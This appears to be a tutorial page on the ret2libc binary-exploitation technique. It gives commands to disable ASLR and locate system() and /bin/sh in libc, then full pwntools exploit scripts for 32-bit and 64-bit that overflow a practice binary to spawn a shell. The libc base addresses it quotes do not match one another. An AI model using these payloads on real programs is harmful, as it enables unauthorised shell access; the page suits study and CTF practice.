Exploit Notes

Binary Exploitation with ret2libc

Last modified: 2023-02-12

Reverse Engineering

ret2libc (return-to-libc) allows an attacker to redirect the program's flow of execution from the current function to a function in a shared library, sucy as libc, the standard C library. The goal of libc is to execute malicious code, such as shellcode, by calling the standard library functions, such as system() or execve().

Exploitation

1. ASLR Bypass

First check the ASLR in the machine.

cat /proc/sys/kernel/randomize_va_space

If we get “2” as the result, the machine randomizes the address space so we cannot find the address of the system function. That’s why we need to bypass ASLR to find the address of the function in libc.

To disable ASLR, run the following command if we can (because it requires sudo).

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

2. Find libc in the Binary

ldd ./example

# Result examples
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)

For instance, we found the libc.so.6 and the base address of libc is 0xf7dc2000 .

3. Find the Location of libc

# -s: Display the symbols
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

# Result
1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

4. Find the Location of /bin/sh

# -a: All scan
# -t x: Print the location of the string in hex (x) 
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

# Result
1b3e1a /bin/sh

5. Exploit

Replace the values of libc_base, system, binsh with the values which we found in the previous sections.

  • 32-bit

    from pwn import *
    
    p = process('./example')
    
    libc_base = 0xf7dc2000
    system = libc_base + 0x4f550
    binsh = libc_base + 0x1b3e1a
    
    payload = b'A' * 76         # The padding
    payload += p32(system)      # Location of system
    payload += p32(0x0)         # return pointer - not important once we get the shell
    payload += p32(binsh)       # pointer to command: /bin/sh
    
    p.clean()
    p.sendline(payload)
    p.interactive()
    
  • 64-bit

    In 64-bit, we need to find the address of ‘pop rdi ; ret’ using ROPgadget .

    ROPgadget --binary ./example | grep rdi
    
    # Result
    0x00000000004007f3 : pop rdi ; ret
    

    In some cases, we might need to the return address for paddings.

    objdump -d ./example | grep ret
    
    # Result
    400556:	c3                   	retq
    

    Finally our script is below:

    from pwn import *
    
    p = process('./example')
    
    libc_base = 0x7ffff7de2000
    system = libc_base + 0x4f550
    binsh = libc_base + 0x1b3e1a
    
    POP_RDI = 0x4007f3
    
    payload = b'A' * 72         # The padding
    # payload += p64(0x400556)    # Extra paddings
    payload += p64(POP_RDI)     # gadget -> pop rdi; ret
    payload += p64(binsh)       # pointer to command: /bin/sh
    payload += p64(system)      # Location of system
    payload += p64(0x0)         # return pointer - not important once we get the shell
    
    # If we need to input in multiple prompts, 
    # p.clean()
    # p.sendline("1") e.g. "Select the menu:"
    p.clean()
    p.sendline(payload)
    p.interactive()
    

Tools by HDKS

Fuzzagotchi

Automatic web fuzzer.

aut0rec0n

Auto reconnaissance CLI.

Hash Cracker

Hash identifier.